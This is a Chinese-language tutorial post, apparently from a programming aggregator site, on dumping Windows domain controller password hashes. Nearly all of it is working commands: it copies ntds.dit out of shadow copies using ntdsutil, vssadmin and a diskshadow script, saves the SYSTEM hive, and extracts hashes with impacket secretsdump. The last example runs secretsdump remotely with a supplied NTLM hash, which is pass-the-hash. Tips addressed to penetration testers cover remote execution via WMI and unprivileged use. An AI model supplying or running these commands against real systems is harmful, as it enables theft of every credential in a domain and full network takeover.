导出域控hash

2021/8/27 23:10:36

本文主要是介绍导出域控hash,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

一、通过ntdsutil.exe提取ntds.dit

1.在域控制器的命令行环境中创建一个快照
ntdsutil snapshot "activate instance ntds" create quit quit
2.加载创建的快照
ntdsutil snapshot "mount {b0694058-f87c-410c-85fa-0b6dc9d297d7}" quit quit
3.复制快照中的文件
copy C:\$SNAP_202107021131_VOLUMEC$\Windows\NTDS\ntds.dit C:\Users\Public
4.卸载之前加载的快照并删除
ntdsutil snapshot "unmount {b0694058-f87c-410c-85fa-0b6dc9d297d7}" "delete {b0694058-f87c-410c-85fa-0b6dc9d297d7}" quit quit
5.查询当前快照
ntdsutil snapshot "List All" quit quit

二、通过vssadmin提取ntds.dit

vssadmin是Windows上的一个卷影拷贝服务的命令行管理工具,可用于创建和删除卷影拷贝、列出卷影拷贝的信息,显示已安装的所有卷影拷贝写入程序和提供程序,以及改变卷影拷贝的存储空间的大小等。
Windows 10,Windows 8.1,Windows Server 2016,Windows Server 2012 R2,Windows Server 2012,Windows Server 2008 R2,Windows Server 200
1.在域控制器中打开命令行环境,输入如下命令,创建一个C盘的卷影拷贝
vssadmin create shadow /for=c:
2.在创建的卷影拷贝中将ntds.dit 复制出来
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\NTDS\ntds.dit c:\ntds.dit
3.删除刚刚拷贝的卷影
vssadmin delete shadows /for=c: /quiet

三、使用diskshadow导出ntds.dit

因为diskshadow的代码是由微软签名的,而且Windows Server 2008、Windows Server 2012和Windows Server 2016都默认包含diskshadow,所以,diskshadow 也可以用来操作卷影拷贝服务并导出ntds dit。  
使用diskshadow.exe加载command.txt文件时需要在c:\windows\system32下执行  
c:\Windows\System32>diskshadow /s c:\command.txt
//设置卷影拷贝
set context persistent nowriters
//添加卷
add volume c: alias someAlias    
//创建快照
create    
//分配虚拟磁盘盘符
expose %someAlias% k:    
//将ntds.dit复制到C盘c:\ntds.dit
exec "cmd.exe" /c copy K:\Windows\NTDS\ntds.dit c:\ntds.dit    
//删除所有快照
delete shadows all    
//列出系统中的卷影拷贝
list shadows all    
//重置
reset    
//退出
exit    

注意事项:  
渗透测试人员可以在非特权用户权限下使用diskshadow.exe 的部分功能。与其他工具相比,diskshadow 的使用更为灵活。  
在使用diskshadow.exe 执行命令时,需要将文本文件上传到目标操作系统的本地磁盘中,或者通过交互模式完成操作。而在使用vshadow等工具时,可以直接执行相关命令。  
在渗透测试中,应该先将含有需要执行的命令的文本文件写人远程目标操作系统,再使用diskshadow.exe调用该文本文件。  
在使用diskshadow.exe导出ntds.dit时,可以通过WMI对远程主机进行操作。  
在使用diskshadow.exe导出ntds.dit时,必须在C:windowssystem32\中进行操作。  
脚本执行后,要检查从快照中复制出来的ntds.dit文件的大小。如果文件大小发生了改变,可以检查或修改脚本后重新执行。  

四、使用impacket工具包导出散列值

c:\>reg save hklm\system c:\windows\temp\system.hive
python3 secretsdump.py -system system.hive -ntds ntds.dit LOCAL >> ntds.txt   #导出ntds.dit中的散列值

impacket还可以通过用户名和散列值进行验证,从远程域控制器中读取ntds.dit并转储域散列值
impacket-secretsdump -hashes aad3b435b51404eeaad3b435b51404ee:f478e94103927311912ff00846210a30 -just-dc testlab.com/Administrator@1.1.1.8


这篇关于导出域控hash的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!


扫一扫关注最新编程教程